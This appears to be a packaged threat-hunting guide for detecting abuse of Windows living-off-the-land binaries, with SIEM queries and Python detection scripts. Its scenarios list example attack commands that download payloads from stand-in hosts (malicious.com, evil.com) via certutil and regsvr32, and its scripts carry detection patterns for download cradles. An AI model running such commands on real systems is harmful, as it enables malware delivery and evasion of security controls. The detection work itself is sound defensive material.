Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-SkillsFramework mappings
MITRE ATT&CK
T1027 on the official MITRE ATT&CK siteT1046 on the official MITRE ATT&CK siteT1047 on the official MITRE ATT&CK siteT1057 on the official MITRE ATT&CK siteT1059.001 on the official MITRE ATT&CK siteT1059.005 on the official MITRE ATT&CK siteT1082 on the official MITRE ATT&CK siteT1083 on the official MITRE ATT&CK siteT1105 on the official MITRE ATT&CK siteT1127 on the official MITRE ATT&CK siteT1127.001 on the official MITRE ATT&CK siteT1140 on the official MITRE ATT&CK siteT1197 on the official MITRE ATT&CK siteT1202 on the official MITRE ATT&CK siteT1216 on the official MITRE ATT&CK siteT1218 on the official MITRE ATT&CK siteT1218.001 on the official MITRE ATT&CK siteT1218.002 on the official MITRE ATT&CK siteT1218.003 on the official MITRE ATT&CK siteT1218.004 on the official MITRE ATT&CK siteT1218.005 on the official MITRE ATT&CK siteT1218.007 on the official MITRE ATT&CK siteT1218.009 on the official MITRE ATT&CK siteT1218.010 on the official MITRE ATT&CK siteT1218.011 on the official MITRE ATT&CK siteT1218.012 on the official MITRE ATT&CK siteT1218.013 on the official MITRE ATT&CK siteT1218.014 on the official MITRE ATT&CK site
NIST CSF 2.0
MITRE D3FEND
Application Protocol Command Analysis on the official MITRE D3FEND siteContent Format Conversion on the official MITRE D3FEND siteExecutable Denylisting on the official MITRE D3FEND siteExecution Isolation on the official MITRE D3FEND siteFile Metadata Consistency Validation on the official MITRE D3FEND site
When to Use
- When investigating fileless malware campaigns that bypass traditional AV
- During proactive threat hunts targeting defense evasion techniques
- When EDR alerts fire on legitimate binaries executing unusual child processes
- After threat intelligence reports indicate LOLBin abuse in active campaigns
- During red team/purple team exercises validating detection coverage for T1218
Prerequisites
- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)
- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)
- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list
- PowerShell command-line logging enabled (Module Logging, Script Block Logging)
- Network proxy or firewall logs for correlating outbound connections
Workflow
- Define Hunt Hypothesis: Formulate a hypothesis based on threat intel (e.g., "Adversaries are using certutil.exe to download second-stage payloads from external domains").
- Identify Target LOLBins: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).
- Collect Process Telemetry: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.
- Baseline Normal Behavior: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.
- Identify Anomalies: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.
- Correlate and Enrich: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.
- Document and Report: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.
Key Concepts
| Concept | Description |
|---|---|
| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |
| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |
| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |
| T1218.001 | Compiled HTML File (mshta.exe) |
| T1218.002 | Control Panel (control.exe) |
| T1218.003 | CMSTP |
| T1218.005 | Mshta |
| T1218.010 | Regsvr32 |
| T1218.011 | Rundll32 |
| T1197 | BITS Jobs (bitsadmin.exe) |
| T1140 | Deobfuscate/Decode Files (certutil.exe) |
| Proxy Execution | Using trusted binaries to execute untrusted code |
| Fileless Attack | Attack that operates primarily in memory without dropping files |
Tools & Systems
| Tool | Purpose |
|---|---|
| CrowdStrike Falcon | EDR telemetry and process tree analysis |
| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |
| Splunk | SIEM log aggregation and SPL queries |
| Elastic Security | Detection rules and timeline investigation |
| Sysmon | Detailed process creation and network logging |
| LOLBAS Project | Reference database of LOLBin capabilities |
| Sigma Rules | Generic detection rule format for LOLBins |
| Velociraptor | Endpoint forensic collection and hunting |
Common Scenarios
- Certutil Download Cradle: Adversary uses
certutil.exe -urlcache -split -f http://malicious.com/payload.exeto download malware, bypassing web proxies that allow certutil traffic. - Mshta HTA Execution: Attacker delivers HTA file via email that executes VBScript payload through
mshta.exe, which is a signed Microsoft binary. - Rundll32 DLL Proxy Load: Malicious DLL loaded via
rundll32.exe shell32.dll,ShellExec_RunDLLto proxy execution through a trusted binary. - Regsvr32 Squiblydoo: Remote SCT file executed via
regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dllbypassing application whitelisting. - BITSAdmin Persistence: Adversary creates BITS transfer job to repeatedly download and execute payloads using
bitsadmin /transfer.
Output Format
Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Hypothesis: [Stated hypothesis]
LOLBins Investigated: [List of binaries]
Time Range: [Start] - [End]
Data Sources: [EDR, Sysmon, SIEM]
Findings:
- [Finding 1 with evidence]
- [Finding 2 with evidence]
Anomalies Detected: [Count]
True Positives: [Count]
False Positives: [Count]
IOCs Identified: [List]
Detection Rules Created/Updated: [List]
Recommendations: [Next steps]Source materials
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 3
api-reference.md1.9 KB
API Reference — Hunting for Living-off-the-Land Binaries
Libraries Used
- elasticsearch (elasticsearch-py): Query Elastic SIEM for LOLBin process events
- python-evtx (Evtx): Parse Windows EVTX event logs for Sysmon process creation
- re: Regex matching against suspicious command-line argument patterns
CLI Interface
python agent.py hunt --es-host <url> --index <pattern> [--api-key <key>] [--hours <n>]
python agent.py sysmon --evtx-file <path>Core Functions
hunt_lolbins_elastic(es_host, es_index, api_key=None, hours=24)
Queries Elasticsearch for 12 LOLBin binaries with suspicious argument patterns.
Parameters:
| Name | Type | Description |
|---|---|---|
es_host |
str | Elasticsearch host URL |
es_index |
str | Index pattern (default: logs-*) |
api_key |
str | Optional API key |
hours |
int | Lookback window in hours |
Returns: dict with detections list (each with binary, mitre, count, events).
scan_sysmon_log(evtx_file)
Parses Sysmon EVTX logs for Event ID 1 (Process Creation) matching LOLBin names.
Parameters:
| Name | Type | Description |
|---|---|---|
evtx_file |
str | Path to Sysmon .evtx file |
Returns: dict with lolbin_events count and findings list.
LOLBins Covered
| Binary | MITRE Technique | Suspicious Pattern Examples |
|---|---|---|
| certutil.exe | T1140, T1105 | -urlcache, -decode, -encode |
| mshta.exe | T1218.005 | vbscript:, javascript:, HTTP URLs |
| regsvr32.exe | T1218.010 | /s /n /u /i:, scrobj.dll |
| rundll32.exe | T1218.011 | javascript:, shell32.dll |
| bitsadmin.exe | T1197 | /transfer, /download |
| wmic.exe | T1047 | process call create, /node: |
| powershell.exe | T1059.001 | -enc, IEX, DownloadString, -w hidden |
Dependencies
pip install elasticsearch>=8.0 python-evtxstandards.md3.1 KB
Standards and References - Hunting for LOLBins
MITRE ATT&CK Mappings
Primary Techniques
- T1218 - Signed Binary Proxy Execution: Use of trusted binaries to proxy execution of malicious payloads
- T1218.001 - Compiled HTML File
- T1218.002 - Control Panel
- T1218.003 - CMSTP
- T1218.004 - InstallUtil
- T1218.005 - Mshta
- T1218.007 - Msiexec
- T1218.009 - Regsvcs/Regasm
- T1218.010 - Regsvr32
- T1218.011 - Rundll32
- T1218.012 - Verclsid
- T1218.013 - Mavinject
- T1218.014 - MMC
Supporting Techniques
- T1197 - BITS Jobs: Abuse of Background Intelligent Transfer Service
- T1140 - Deobfuscate/Decode Files or Information: certutil decode operations
- T1059.001 - PowerShell: Script execution through PowerShell LOLBin
- T1047 - Windows Management Instrumentation: WMIC-based execution
- T1216 - Signed Script Proxy Execution: Trusted script execution (cscript, wscript)
- T1127 - Trusted Developer Utilities Proxy Execution: MSBuild, dnx, rcsi
Tactics Covered
- TA0002 - Execution: LOLBins used to execute malicious code
- TA0005 - Defense Evasion: Bypassing security controls through trusted binaries
- TA0003 - Persistence: Some LOLBins used for persistent execution
LOLBAS Project Reference
The LOLBAS (Living Off The Land Binaries, Scripts, and Libraries) Project maintains a comprehensive catalog:
High-Priority LOLBins for Hunting
| Binary | ATT&CK ID | Capabilities |
|---|---|---|
| certutil.exe | T1140 | Download, encode/decode, ADS |
| mshta.exe | T1218.005 | Execute HTA/VBS, download |
| rundll32.exe | T1218.011 | Execute DLL exports, proxy load |
| regsvr32.exe | T1218.010 | Execute COM scriptlets remotely |
| msiexec.exe | T1218.007 | Install remote MSI packages |
| cmstp.exe | T1218.003 | Execute INF SCT files |
| wmic.exe | T1047 | Remote command execution |
| bitsadmin.exe | T1197 | File transfer, persistence |
| msbuild.exe | T1127.001 | Compile and execute inline tasks |
| installutil.exe | T1218.004 | Execute managed code |
| cscript.exe | T1059.005 | Script execution |
| wscript.exe | T1059.005 | Script execution |
| forfiles.exe | T1202 | Indirect command execution |
| pcalua.exe | T1202 | Program compatibility execution |
Threat Intelligence References
- CISA Alert AA23-136A: LOLBin abuse in Volt Typhoon campaigns
- Symantec: Living off the Land Techniques in Targeted Attacks
- Microsoft Threat Intelligence: Nation-state LOLBin campaigns
- Red Canary Threat Detection Report: Annual LOLBin detection trends
Detection Data Sources
| Data Source | Event IDs | Content |
|---|---|---|
| Sysmon | 1 | Process creation with command line |
| Sysmon | 3 | Network connection from LOLBin |
| Sysmon | 7 | Image loaded (DLL loads) |
| Sysmon | 11 | File creation by LOLBin |
| Windows Security | 4688 | Process creation (enhanced) |
| Windows PowerShell | 4103, 4104 | Script block logging |
| Firewall/Proxy | - | Outbound connections from LOLBins |
workflows.md4.4 KB
Detailed Hunting Workflow - LOLBins
Phase 1: Intelligence Gathering
Step 1.1 - Review Current Threat Landscape
- Check LOLBAS Project for newly added binaries
- Review threat intel feeds for active campaigns abusing LOLBins
- Correlate with CISA advisories and vendor threat reports
- Identify LOLBins relevant to your environment's OS versions
Step 1.2 - Prioritize Target LOLBins
- Rank LOLBins by prevalence in current threat campaigns
- Consider which LOLBins have no existing detection rules
- Focus on LOLBins with download, execute, and encode capabilities
- Map to MITRE ATT&CK navigator for coverage gaps
Phase 2: Data Collection
Step 2.1 - Sysmon Process Creation Query (Event ID 1)
EventID=1 AND (
Image CONTAINS "certutil.exe" OR
Image CONTAINS "mshta.exe" OR
Image CONTAINS "rundll32.exe" OR
Image CONTAINS "regsvr32.exe" OR
Image CONTAINS "msiexec.exe" OR
Image CONTAINS "cmstp.exe" OR
Image CONTAINS "wmic.exe" OR
Image CONTAINS "bitsadmin.exe" OR
Image CONTAINS "msbuild.exe"
)Step 2.2 - Splunk SPL Query for LOLBin Network Activity
index=sysmon EventCode=3
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msiexec|bitsadmin)\.exe$")
| stats count by Image, DestinationIp, DestinationPort, User
| where DestinationIp!="10.*" AND DestinationIp!="172.16.*" AND DestinationIp!="192.168.*"
| sort -countStep 2.3 - KQL Query for Microsoft Defender for Endpoint
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe","mshta.exe","rundll32.exe","regsvr32.exe","bitsadmin.exe","cmstp.exe")
| where ProcessCommandLine has_any ("http","ftp","urlcache","-decode","/i:","scrobj.dll","-enc")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName
| order by Timestamp descPhase 3: Baseline Analysis
Step 3.1 - Establish Normal Usage Patterns
- Count daily executions per LOLBin per endpoint
- Document standard parent processes (explorer.exe -> certutil.exe for IT admin)
- Record typical command-line arguments for legitimate use
- Note time-of-day patterns (business hours vs. off-hours)
Step 3.2 - Build Frequency Analysis
index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32)\.exe$")
| timechart span=1h count by Image
| eventstats avg(certutil.exe) as avg_certutil, stdev(certutil.exe) as stdev_certutil
| where certutil.exe > (avg_certutil + 3*stdev_certutil)Phase 4: Anomaly Detection
Step 4.1 - Suspicious Command-Line Indicators
| LOLBin | Suspicious Argument | Reason |
|---|---|---|
| certutil.exe | -urlcache -split -f |
Remote file download |
| certutil.exe | -encode / -decode |
Data encoding/obfuscation |
| mshta.exe | javascript: or vbscript: |
Inline script execution |
| regsvr32.exe | /s /n /u /i:http |
Remote SCT execution (Squiblydoo) |
| rundll32.exe | javascript: |
Script execution proxy |
| bitsadmin.exe | /transfer with URL |
File download |
| msiexec.exe | /q /i http:// |
Silent remote MSI install |
| cmstp.exe | /s /ns with INF file |
UAC bypass |
Step 4.2 - Anomalous Parent-Child Relationships
Flag when these parent processes spawn LOLBins:
winword.exe->certutil.exe(document downloading payload)outlook.exe->mshta.exe(email launching HTA)wmiprvse.exe->rundll32.exe(WMI lateral movement)svchost.exe->regsvr32.exe(service spawning proxy execution)
Phase 5: Correlation and Enrichment
Step 5.1 - Network Correlation
- Match LOLBin network connections to threat intel domain/IP lists
- Check destination IPs against VirusTotal, AbuseIPDB
- Verify if domains are newly registered (DGA detection)
- Correlate with DNS query logs for suspicious resolutions
Step 5.2 - File Activity Correlation
- Track files created by LOLBin processes
- Check file hashes against threat intel feeds
- Monitor for files written to unusual directories (Temp, AppData, ProgramData)
- Look for ADS (Alternate Data Streams) usage
Phase 6: Documentation and Response
Step 6.1 - Document Findings
- Record all true positive findings with evidence
- Document false positive patterns for tuning
- Update detection analytics with new signatures
- Create IOC lists for identified threats
Step 6.2 - Update Detection Coverage
- Write or update Sigma rules for identified patterns
- Deploy new EDR detection rules
- Update SIEM correlation rules
- Add findings to MITRE ATT&CK Navigator heatmap
Scripts 2
agent.py6.3 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for hunting Living-off-the-Land Binaries (LOLBins) execution patterns."""
import json
import argparse
import re
from datetime import datetime
try:
from elasticsearch import Elasticsearch
except ImportError:
Elasticsearch = None
LOLBINS = {
"certutil.exe": {
"mitre": "T1140,T1105",
"suspicious_args": [r"-urlcache", r"-split", r"-decode", r"-encode", r"-f\s+http"],
"description": "Certificate utility abused for download and decode",
},
"mshta.exe": {
"mitre": "T1218.005",
"suspicious_args": [r"vbscript:", r"javascript:", r"http://", r"https://"],
"description": "HTML Application host for script execution",
},
"regsvr32.exe": {
"mitre": "T1218.010",
"suspicious_args": [r"/s\s+/n\s+/u\s+/i:", r"scrobj\.dll", r"http://", r"https://"],
"description": "COM registration abused for proxy execution",
},
"rundll32.exe": {
"mitre": "T1218.011",
"suspicious_args": [r"javascript:", r"shell32\.dll.*ShellExec_RunDLL", r"url\.dll.*FileProtocolHandler"],
"description": "DLL loader abused for proxy execution",
},
"bitsadmin.exe": {
"mitre": "T1197",
"suspicious_args": [r"/transfer", r"/download", r"/create", r"http://", r"https://"],
"description": "BITS service abused for file download",
},
"wmic.exe": {
"mitre": "T1047",
"suspicious_args": [r"process\s+call\s+create", r"/node:", r"os\s+get"],
"description": "WMI command-line for remote execution",
},
"msiexec.exe": {
"mitre": "T1218.007",
"suspicious_args": [r"/q.*http://", r"/q.*https://", r"/q.*/i\s+"],
"description": "MSI installer abused for code execution",
},
"cmstp.exe": {
"mitre": "T1218.003",
"suspicious_args": [r"/ni\s+/s\s+", r"\.inf"],
"description": "Connection Manager Profile Installer bypass",
},
"wscript.exe": {
"mitre": "T1059.005",
"suspicious_args": [r"\.js$", r"\.vbs$", r"\.wsf$", r"//e:jscript", r"//e:vbscript"],
"description": "Windows Script Host for script execution",
},
"cscript.exe": {
"mitre": "T1059.005",
"suspicious_args": [r"\.js$", r"\.vbs$", r"\.wsf$"],
"description": "Console Script Host for script execution",
},
"powershell.exe": {
"mitre": "T1059.001",
"suspicious_args": [
r"-enc\s+", r"-encodedcommand", r"-nop\s+", r"-noprofile",
r"IEX\s*\(", r"Invoke-Expression", r"DownloadString",
r"Net\.WebClient", r"bitstransfer", r"-w\s+hidden",
],
"description": "PowerShell with obfuscation or download cradles",
},
"forfiles.exe": {
"mitre": "T1202",
"suspicious_args": [r"/p\s+.*\s+/c\s+", r"cmd\s+/c"],
"description": "Indirect command execution via forfiles",
},
}
def hunt_lolbins_elastic(es_host, es_index, api_key=None, hours=24):
"""Query Elasticsearch for LOLBin execution with suspicious arguments."""
if Elasticsearch is None:
return {"error": "elasticsearch-py not installed"}
kwargs = {"hosts": [es_host]}
if api_key:
kwargs["api_key"] = api_key
es = Elasticsearch(**kwargs)
results = {"timestamp": datetime.utcnow().isoformat(), "detections": [], "total_suspicious": 0}
for binary, info in LOLBINS.items():
query = {"bool": {"must": [
{"term": {"process.name": binary}},
{"range": {"@timestamp": {"gte": f"now-{hours}h"}}}
]}}
resp = es.search(index=es_index, body={"query": query, "size": 200, "sort": [{"@timestamp": "desc"}]})
suspicious = []
for hit in resp["hits"]["hits"]:
src = hit["_source"]
cmdline = src.get("process", {}).get("command_line", "")
for pattern in info["suspicious_args"]:
if re.search(pattern, cmdline, re.I):
suspicious.append({
"timestamp": src.get("@timestamp"),
"host": src.get("host", {}).get("name"),
"user": src.get("user", {}).get("name"),
"command_line": cmdline[:500],
"parent_process": src.get("process", {}).get("parent", {}).get("name"),
"matched_pattern": pattern,
})
break
if suspicious:
results["detections"].append({
"binary": binary, "mitre": info["mitre"],
"description": info["description"],
"count": len(suspicious), "events": suspicious[:50],
})
results["total_suspicious"] += len(suspicious)
return results
def scan_sysmon_log(evtx_file):
"""Parse Sysmon EVTX for LOLBin process creation (Event ID 1)."""
try:
import Evtx.Evtx as evtx_lib
except ImportError:
return {"error": "python-evtx not installed"}
findings = []
lolbin_names = {b.lower() for b in LOLBINS}
with evtx_lib.Evtx(evtx_file) as log:
for record in log.records():
xml = record.xml()
if "<EventID>1</EventID>" not in xml:
continue
for binary in lolbin_names:
if binary in xml.lower():
findings.append({"record_id": record.record_num(), "xml_snippet": xml[:800]})
break
return {"file": evtx_file, "lolbin_events": len(findings), "findings": findings[:200]}
def main():
parser = argparse.ArgumentParser(description="Hunt for LOLBin execution patterns")
sub = parser.add_subparsers(dest="command")
h = sub.add_parser("hunt", help="Hunt LOLBins in Elasticsearch")
h.add_argument("--es-host", required=True)
h.add_argument("--index", default="logs-*")
h.add_argument("--api-key")
h.add_argument("--hours", type=int, default=24)
s = sub.add_parser("sysmon", help="Scan Sysmon EVTX for LOLBins")
s.add_argument("--evtx-file", required=True)
args = parser.parse_args()
if args.command == "hunt":
result = hunt_lolbins_elastic(args.es_host, args.index, args.api_key, args.hours)
elif args.command == "sysmon":
result = scan_sysmon_log(args.evtx_file)
else:
parser.print_help()
return
print(json.dumps(result, indent=2, default=str))
if __name__ == "__main__":
main()
process.py19.0 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
LOLBin Threat Hunt Automation Script
Queries Windows Event Logs and Sysmon for suspicious LOLBin activity.
Supports Splunk API, Elastic API, and local Windows Event Log parsing.
"""
import json
import csv
import argparse
import datetime
import re
import sys
from collections import defaultdict
from pathlib import Path
try:
import xml.etree.ElementTree as ET
except ImportError:
pass
# Known LOLBins and their suspicious argument patterns
LOLBIN_SIGNATURES = {
"certutil.exe": {
"attack_id": "T1140",
"suspicious_args": [
r"-urlcache\s+-split\s+-f",
r"-encode",
r"-decode",
r"-verifyctl",
r"http[s]?://",
],
"description": "Certificate utility abused for download/encode",
},
"mshta.exe": {
"attack_id": "T1218.005",
"suspicious_args": [
r"javascript:",
r"vbscript:",
r"http[s]?://",
r"\.hta",
],
"description": "HTML Application host for script execution",
},
"rundll32.exe": {
"attack_id": "T1218.011",
"suspicious_args": [
r"javascript:",
r"shell32\.dll.*ShellExec_RunDLL",
r"url\.dll.*FileProtocolHandler",
r"advpack\.dll.*RegisterOCX",
r"pcwutl\.dll.*LaunchApplication",
],
"description": "DLL loader abused for proxy execution",
},
"regsvr32.exe": {
"attack_id": "T1218.010",
"suspicious_args": [
r"/s\s+/n\s+/u\s+/i:",
r"scrobj\.dll",
r"http[s]?://",
],
"description": "COM registration utility for Squiblydoo attacks",
},
"msiexec.exe": {
"attack_id": "T1218.007",
"suspicious_args": [
r"/q.*http[s]?://",
r"/quiet.*http[s]?://",
r"/i\s+http[s]?://",
],
"description": "Windows Installer abused for remote MSI execution",
},
"bitsadmin.exe": {
"attack_id": "T1197",
"suspicious_args": [
r"/transfer",
r"/create.*http[s]?://",
r"/addfile.*http[s]?://",
r"/SetNotifyCmdLine",
],
"description": "BITS service abused for download and persistence",
},
"cmstp.exe": {
"attack_id": "T1218.003",
"suspicious_args": [
r"/s\s+/ns",
r"\.inf",
r"/au",
],
"description": "Connection Manager for UAC bypass and execution",
},
"wmic.exe": {
"attack_id": "T1047",
"suspicious_args": [
r"process\s+call\s+create",
r"/node:",
r"os\s+get",
r"format:",
r"http[s]?://",
],
"description": "WMI command-line for remote execution",
},
"msbuild.exe": {
"attack_id": "T1127.001",
"suspicious_args": [
r"\.xml",
r"\.csproj",
r"\.proj",
r"inline.*task",
],
"description": "Build tool abused for inline task execution",
},
"installutil.exe": {
"attack_id": "T1218.004",
"suspicious_args": [
r"/logfile=",
r"/LogToConsole=false",
r"/U",
],
"description": ".NET utility for managed code execution",
},
"forfiles.exe": {
"attack_id": "T1202",
"suspicious_args": [
r"/c\s+cmd",
r"/c\s+powershell",
r"/p\s+c:\\windows",
],
"description": "Indirect command execution utility",
},
"pcalua.exe": {
"attack_id": "T1202",
"suspicious_args": [
r"-a\s+.*\.exe",
r"-a\s+.*\.dll",
],
"description": "Program Compatibility Assistant for proxy execution",
},
}
# Suspicious parent processes for LOLBins
SUSPICIOUS_PARENTS = {
"winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe",
"wmiprvse.exe", "w3wp.exe", "php-cgi.exe", "httpd.exe",
"nginx.exe", "tomcat.exe", "sqlservr.exe", "python.exe",
"wscript.exe", "cscript.exe",
}
def parse_sysmon_xml(xml_path: str) -> list[dict]:
"""Parse exported Sysmon Event ID 1 (Process Creation) XML logs."""
events = []
try:
tree = ET.parse(xml_path)
root = tree.getroot()
ns = {"ns": "http://schemas.microsoft.com/win/2004/08/events/event"}
for event in root.findall(".//ns:Event", ns):
event_data = {}
for data in event.findall(".//ns:Data", ns):
name = data.get("Name", "")
event_data[name] = data.text or ""
if event_data.get("Image"):
events.append(event_data)
except ET.ParseError as e:
print(f"[ERROR] Failed to parse XML: {e}")
except FileNotFoundError:
print(f"[ERROR] File not found: {xml_path}")
return events
def parse_csv_logs(csv_path: str) -> list[dict]:
"""Parse CSV-exported process creation logs."""
events = []
try:
with open(csv_path, "r", encoding="utf-8-sig") as f:
reader = csv.DictReader(f)
for row in reader:
events.append(dict(row))
except FileNotFoundError:
print(f"[ERROR] File not found: {csv_path}")
return events
def parse_json_logs(json_path: str) -> list[dict]:
"""Parse JSON-exported process creation logs."""
events = []
try:
with open(json_path, "r", encoding="utf-8") as f:
data = json.load(f)
if isinstance(data, list):
events = data
elif isinstance(data, dict) and "events" in data:
events = data["events"]
elif isinstance(data, dict) and "hits" in data:
events = [h.get("_source", h) for h in data["hits"].get("hits", [])]
except (FileNotFoundError, json.JSONDecodeError) as e:
print(f"[ERROR] Failed to parse JSON: {e}")
return events
def normalize_event(event: dict) -> dict:
"""Normalize event fields across different log formats."""
normalized = {}
field_mappings = {
"image": ["Image", "image", "process_name", "FileName", "process.executable"],
"command_line": ["CommandLine", "command_line", "ProcessCommandLine", "process.command_line", "cmdline"],
"parent_image": ["ParentImage", "parent_image", "InitiatingProcessFileName", "process.parent.executable"],
"user": ["User", "user", "AccountName", "user.name", "SubjectUserName"],
"timestamp": ["UtcTime", "timestamp", "Timestamp", "@timestamp", "TimeCreated"],
"hostname": ["Computer", "hostname", "DeviceName", "host.name", "ComputerName"],
"pid": ["ProcessId", "pid", "process_id", "process.pid"],
"parent_pid": ["ParentProcessId", "parent_pid", "ppid", "process.parent.pid"],
}
for target_field, source_fields in field_mappings.items():
for src in source_fields:
if src in event and event[src]:
normalized[target_field] = str(event[src])
break
if target_field not in normalized:
normalized[target_field] = ""
return normalized
def analyze_lolbin_event(event: dict) -> dict | None:
"""Analyze a single process event for LOLBin abuse indicators."""
image = event.get("image", "").lower()
command_line = event.get("command_line", "")
parent_image = event.get("parent_image", "").lower()
binary_name = image.split("\\")[-1].split("/")[-1] if image else ""
if binary_name not in LOLBIN_SIGNATURES:
return None
sig = LOLBIN_SIGNATURES[binary_name]
finding = {
"binary": binary_name,
"attack_id": sig["attack_id"],
"description": sig["description"],
"command_line": command_line,
"parent_process": parent_image.split("\\")[-1].split("/")[-1] if parent_image else "unknown",
"user": event.get("user", "unknown"),
"hostname": event.get("hostname", "unknown"),
"timestamp": event.get("timestamp", "unknown"),
"risk_score": 0,
"indicators": [],
}
# Check for suspicious command-line arguments
for pattern in sig["suspicious_args"]:
if re.search(pattern, command_line, re.IGNORECASE):
finding["risk_score"] += 30
finding["indicators"].append(f"Suspicious argument pattern: {pattern}")
# Check for suspicious parent processes
parent_name = finding["parent_process"]
if parent_name in SUSPICIOUS_PARENTS:
finding["risk_score"] += 25
finding["indicators"].append(f"Suspicious parent process: {parent_name}")
# Check for network-related indicators in command line
if re.search(r"http[s]?://", command_line, re.IGNORECASE):
finding["risk_score"] += 20
finding["indicators"].append("Contains URL - possible download/C2")
# Check for encoded content
if re.search(r"(base64|encode|decode|-enc\s)", command_line, re.IGNORECASE):
finding["risk_score"] += 15
finding["indicators"].append("Contains encoding/decoding operation")
# Check for execution from unusual paths
unusual_paths = [r"\\temp\\", r"\\tmp\\", r"\\appdata\\", r"\\programdata\\", r"\\public\\", r"\\downloads\\"]
for path_pattern in unusual_paths:
if re.search(path_pattern, command_line, re.IGNORECASE):
finding["risk_score"] += 10
finding["indicators"].append(f"References unusual path: {path_pattern}")
# Only return if there are actual indicators
if finding["indicators"]:
finding["risk_level"] = (
"CRITICAL" if finding["risk_score"] >= 60
else "HIGH" if finding["risk_score"] >= 40
else "MEDIUM" if finding["risk_score"] >= 20
else "LOW"
)
return finding
return None
def generate_splunk_queries() -> dict[str, str]:
"""Generate Splunk SPL queries for LOLBin hunting."""
queries = {}
# General LOLBin network activity
queries["lolbin_network_activity"] = """index=sysmon EventCode=3
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msiexec|bitsadmin|cmstp|wmic)\.exe$")
| stats count values(DestinationIp) as dest_ips values(DestinationPort) as dest_ports by Image Computer User
| where count > 0
| sort -count"""
# Certutil download cradle
queries["certutil_download"] = """index=sysmon EventCode=1 Image="*\\certutil.exe"
| where match(CommandLine, "(?i)(urlcache|split|decode|encode|http)")
| table _time Computer User Image CommandLine ParentImage"""
# Regsvr32 Squiblydoo
queries["regsvr32_squiblydoo"] = """index=sysmon EventCode=1 Image="*\\regsvr32.exe"
| where match(CommandLine, "(?i)(scrobj|/i:http|/s /n /u)")
| table _time Computer User CommandLine ParentImage"""
# Mshta script execution
queries["mshta_script_exec"] = """index=sysmon EventCode=1 Image="*\\mshta.exe"
| where match(CommandLine, "(?i)(javascript|vbscript|http)")
| table _time Computer User CommandLine ParentImage"""
# LOLBin with suspicious parent
queries["lolbin_suspicious_parent"] = """index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|bitsadmin)\.exe$")
| where match(ParentImage, "(?i)(winword|excel|powerpnt|outlook|wmiprvse|w3wp)\.exe$")
| table _time Computer User Image CommandLine ParentImage"""
return queries
def generate_kql_queries() -> dict[str, str]:
"""Generate KQL queries for Microsoft Defender for Endpoint."""
queries = {}
queries["lolbin_suspicious_execution"] = """DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe","mshta.exe","rundll32.exe","regsvr32.exe","bitsadmin.exe","cmstp.exe","msiexec.exe","wmic.exe")
| where ProcessCommandLine has_any ("http","ftp","urlcache","-decode","-encode","scrobj","javascript","vbscript","transfer","/i:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName
| order by Timestamp desc"""
queries["lolbin_network_connections"] = """DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("certutil.exe","mshta.exe","rundll32.exe","regsvr32.exe","bitsadmin.exe")
| where RemoteIPType == "Public"
| summarize ConnectionCount=count(), RemoteIPs=make_set(RemoteIP) by InitiatingProcessFileName, DeviceName
| order by ConnectionCount desc"""
queries["lolbin_from_office"] = """DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe")
| where FileName in~ ("certutil.exe","mshta.exe","rundll32.exe","regsvr32.exe","powershell.exe","cmd.exe","wscript.exe","cscript.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine"""
return queries
def run_hunt(input_path: str, output_dir: str, log_format: str = "auto") -> None:
"""Execute the LOLBin threat hunt against provided log data."""
print(f"[*] LOLBin Threat Hunt Starting - {datetime.datetime.now().isoformat()}")
print(f"[*] Input: {input_path}")
print(f"[*] Output: {output_dir}")
# Parse input logs
if log_format == "auto":
if input_path.endswith(".xml"):
log_format = "xml"
elif input_path.endswith(".csv"):
log_format = "csv"
elif input_path.endswith(".json"):
log_format = "json"
else:
print("[ERROR] Cannot determine log format. Use --format flag.")
sys.exit(1)
print(f"[*] Parsing {log_format} logs...")
if log_format == "xml":
raw_events = parse_sysmon_xml(input_path)
elif log_format == "csv":
raw_events = parse_csv_logs(input_path)
elif log_format == "json":
raw_events = parse_json_logs(input_path)
else:
print(f"[ERROR] Unsupported format: {log_format}")
sys.exit(1)
print(f"[*] Parsed {len(raw_events)} events")
# Normalize and analyze
findings = []
stats = defaultdict(int)
for raw_event in raw_events:
event = normalize_event(raw_event)
result = analyze_lolbin_event(event)
if result:
findings.append(result)
stats[result["binary"]] += 1
stats[result["risk_level"]] += 1
print(f"[*] Analysis complete - {len(findings)} suspicious events found")
